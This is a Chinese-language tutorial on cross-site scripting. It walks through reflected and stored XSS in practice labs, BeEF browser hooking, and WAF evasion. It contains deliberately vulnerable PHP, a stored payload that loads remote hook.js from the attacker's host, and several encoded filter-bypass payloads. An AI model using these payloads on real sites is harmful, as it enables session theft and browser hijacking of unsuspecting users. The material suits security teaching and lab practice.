在 Web 安全领域,XSS 漏洞是最为常见且危害巨大的安全漏洞之一。了解 XSS 漏洞的原理、分类、实战利用以及防护绕过方法,无论是对于 Web 开发者提升网站安全性,还是对于安全从业者提升渗透测试技能,都有着至关重要的意义。
一、XSS 简介与危害
1. XSS 是什么
跨站脚本攻击 XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入其中的 Script 代码会被执行,从而达到恶意攻击用户的目的。
2. XSS 的危害
XSS 漏洞一旦被利用,会给用户和企业带来严重的安全威胁,主要危害包括:
-
盗取各类用户账号,如机器登录帐号、用户网银帐号、各类管理员帐号
-
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
-
盗窃企业重要的具有商业价值的资料
-
非法转账
-
强制发送电子邮件
-
网站挂马
-
控制受害者机器向其它网站发起攻击(重定向语句)
-
窃取 cookie 的 sessionid,冒充登录。
二、反射型与存储型 XSS
XSS 攻击主要分为反射型和存储型两类,它们的攻击方式和危害程度有所不同。
1. 反射型 XSS
反射型 XSS 是非持久化的攻击方式,攻击者构造恶意链接,当用户点击该链接时,服务器会将恶意代码反射给用户的浏览器,浏览器执行恶意代码从而完成攻击。
案例 1:简单的反射型 XSS 示例
编写一个简单的 PHP 文件1.php:
<?php
$xss = $_GET['x'];
echo $xss;
?>
当访问http://localhost/1.php?x=<script>alert(1)</script>时,浏览器会执行<script>标签中的代码,弹出提示框,这就是最简单的反射型 XSS 攻击。
案例 2:靶场中的反射型 XSS
以 pikachu 靶场的反射型 XSS 页面为例,访问http://111.230.104.121:8765/vul/xss/xss_reflected_get.php?message=2&submit=submit,我们可以通过两种方式插入恶意脚本:
-
方式一:直接修改 URL,将 message 参数替换为恶意脚本的 URL 编码形式:
http://111.230.104.121:8765/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert(1)%3C/script%3E&submit=submit -
方式二:通过 F12 进入开发者模式,修改输入框的长度限制,将
lengthMax从 20 修改到 200,然后输入更长的恶意脚本。
2. 存储型 XSS
存储型 XSS 是持久化的攻击方式,攻击者将恶意代码提交到服务器的数据库中,当用户访问相关页面时,服务器会从数据库中取出恶意代码并返回给用户浏览器执行,攻击会持续存在,所有访问该页面的用户都会受到攻击,危害比反射型 XSS 更大。
案例:靶场中的存储型 XSS
以 pikachu 靶场的存储型 XSS 页面为例,访问http://111.230.104.121:8765/vul/xss/xss_stored.php,在输入框中输入<script>alert(1)</script>并提交,恶意代码会被存储到数据库中。之后所有访问该页面的用户都会触发弹窗,因为每次访问页面时,服务器都会从数据库中取出并执行这段恶意代码。
3. 总结
反射型 XSS 是一次性攻击,需要用户主动点击恶意链接;而存储型 XSS 是持久化攻击,所有访问相关页面的用户都会受到攻击,危害范围更广、危害程度更高。
三、XSS 综合实战案例
接下来我们通过 fdd 靶场的实战案例,来完整演示 XSS 漏洞的发现、利用以及通过 Beef 劫持网站的过程。
1. fdd 靶场搭建步骤
-
访问
127.0.0.1/jfdd/install/install.php完成靶场的安装 -
安装完成后,前台地址为
http://localhost/jfdd/,后台地址为http://localhost/jfdd/admin/login.php
2. XSS 漏洞重现
-
登录后台
http://localhost/jfdd/admin/login.php -
在后台的具体需求输入框中输入
<script>alert(1)</script>并提交 -
当访问相关页面时,会触发弹窗,说明该页面存在 XSS 漏洞。
3. 使用 Beef 劫持网站
Beef-XSS 是一款功能强大的 XSS 漏洞利用工具,Kali 系统自带,基于 Ruby 语言开发,可以实现对用户主机的劫持和控制。
步骤 1:配置 Kali 软件源
首先修改 Kali 的软件源文件/etc/apt/sources.list,添加国内源以提高软件安装速度:
#阿里源
deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#中科大战源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#清华大学源
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#浙大源
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#东软大学源
deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#网易Kali源
deb http://mirrors.163.com/debian wheezy main non-free contrib
deb-src http://mirrors.163.com/debian wheezy main non-free contrib
执行apt update更新软件源。
步骤 2:安装并启动 Beef
-
安装 Beef:
apt install beef-xss -
启动 Beef:
beef-xss -
初次使用 Beef 时需要设置密码,如果忘记密码,可以在
/usr/share/beef-xss/config.yaml文件中查看。
步骤 3:注入 Beef 恶意脚本
-
启动 Beef 后,访问
http://127.0.0.1:3000/ui/authentication,使用用户名beef和设置的密码登录 Beef 后台。 -
构造恶意脚本,将 Beef 的 hook.js 注入到靶场的数据库中,比如输入
<script src="http://192.168.220.128:3000/hook.js"></script>(这里的 IP 是 Kali 主机的 IP 地址)。
步骤 4:劫持并控制主机
当用户访问包含该恶意脚本的页面时,会被 Beef 劫持,在 Beef 后台可以看到上线的主机。此时可以执行各种恶意操作,比如:
-
使用
commands--redirect命令跳转用户页面 -
模拟用户在宿主机上下单
-
执行其他恶意脚本操作
四、XSS 的 WAF 绕过
WAF(Web 应用防火墙)是防护 XSS 漏洞的重要手段,它会过滤掉恶意的脚本代码。但是我们可以通过一些方法绕过 WAF 的防护。
1. WAF 防护效果
当未开启 WAF 时,直接输入<script>alert(1)</script>就可以触发 XSS 漏洞。当安装安全狗等 WAF 并开启防护后,访问http://localhost/1.php?x=<script>alert(1)</script>会被 WAF 拦截,无法触发弹窗。
2. 手工绕过方法
(1)标签语法替换
WAF 通常会过滤<script>标签,我们可以使用其他可以执行脚本的 HTML 标签来替换,比如:
-
audio 标签:利用 audio 标签的 onerror 事件,当音频加载失败时执行脚本。
<audio src=x οnerrοr=alert(47)> <audio src=x οnerrοr=prompt(1);> <audio src=1 href=1 οnerrοr=javascript:alert(1)></audio>访问
http://localhost/1.php?x=<audio src=x onerror=alert(47)>即可触发弹窗。 -
video 标签:类似 audio 标签,利用 onerror 事件执行脚本。
<video src=x οnerrοr=prompt(1);> <video src=x οnerrοr=alert(48)> -
button 标签:利用按钮的 onfocus 或 onclick 事件执行脚本。
<button οnfοcus=alert(1) autofocus> <button/οnclick=alert(1) >xss</button>
(2)ASCII 加密绕过
将脚本代码转换为 ASCII 码,然后使用eval(String.fromCharCode())执行,这样 WAF 可能无法识别恶意代码。比如alert(1)的 ASCII 码是 97,108,101,114,116,40,49,41,构造如下代码:
<details open οntοggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >
访问http://localhost/1.php?x=<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >即可触发弹窗。
3. XSStrike 工具绕过
XSStrike 是一款开源的 XSS 检测工具,可以自动检测 XSS 漏洞并绕过 WAF 防护,项目地址为https://github.com/s0md3v/XSStrike。
(1)XSStrike 准备工作
-
确保系统使用 Python3 环境,更新 pip:
python.exe -m pip install --upgrade pip -i https://mirrors.aliyun.com/pypi/simple/ -
下载 XSStrike 后,安装依赖:
pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
(2)XSStrike 常用参数
-h, --help //显示帮助信息
-u, --url //指定目标URL
--data //POST方式提交内容
-v, --verbose //详细输出
-f, --file //加载自定义paload字典
-t, --threads //定义线程数
-l, --level //爬行深度
-t, --encode //定义payload编码方式
--json //将POST数据视为JSON
--path //测试URL路径组件
--seeds //从文件中测试、抓取URL
--fuzzer //测试过滤器和Web应用程序防火墙。
--update //更新
--timeout //设置超时时间
--params //指定参数
--crawl //爬行
--proxy //使用代理
--blind //盲测试
--skip //跳过确认提示
--skip-dom //跳过DOM扫描
--headers //提供HTTP标头
-d, --delay //设置延迟
(3)XSStrike 实战案例
-
fuzz 测试:测试 WAF 的过滤规则,执行命令:
python xsstrike.py -u "http://localhost/1.php?x=1" --fuzzer -
直接探测:执行命令:
python xsstrike.py -u "http://localhost/1.php?x=1"如果没有加载 payload,可能是因为
1.php的代码问题,修改1.php为 HTML 形式: <!DOCTYPE html><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> 欢迎来到 </head> <body> <h1 align=center>欢迎</h1> <?php $xss = $_GET['x']; echo $xss; ?> <center>测试XSS</center> </body> </html>再次执行探测命令,就可以成功检测到 XSS 漏洞。
五、思考与练习
通过本文的学习,我们对 XSS 漏洞有了全面的了解,接下来可以通过以下练习巩固所学知识:
-
请你介绍 XSS 是什么。
-
请你说说 XSS 能够带来那些危害。
-
画出 Beef 配合 XSS 劫持网站的流程。
-
XSS 的 WAF 绕过怎么做,请说出自己的理解。
六、总结
XSS 漏洞是 Web 安全中常见且危害巨大的漏洞,分为反射型和存储型,存储型的危害更大。通过 Beef 等工具可以实现对 XSS 漏洞的利用,劫持用户主机。虽然 WAF 可以防护 XSS 漏洞,但是我们可以通过标签替换、加密等手工方法,或者使用 XSStrike 等工具绕过 WAF 防护。作为 Web 开发者,应该通过对用户输入进行过滤、转义,使用 CSP 等手段来防护 XSS 漏洞,提升网站的安全性。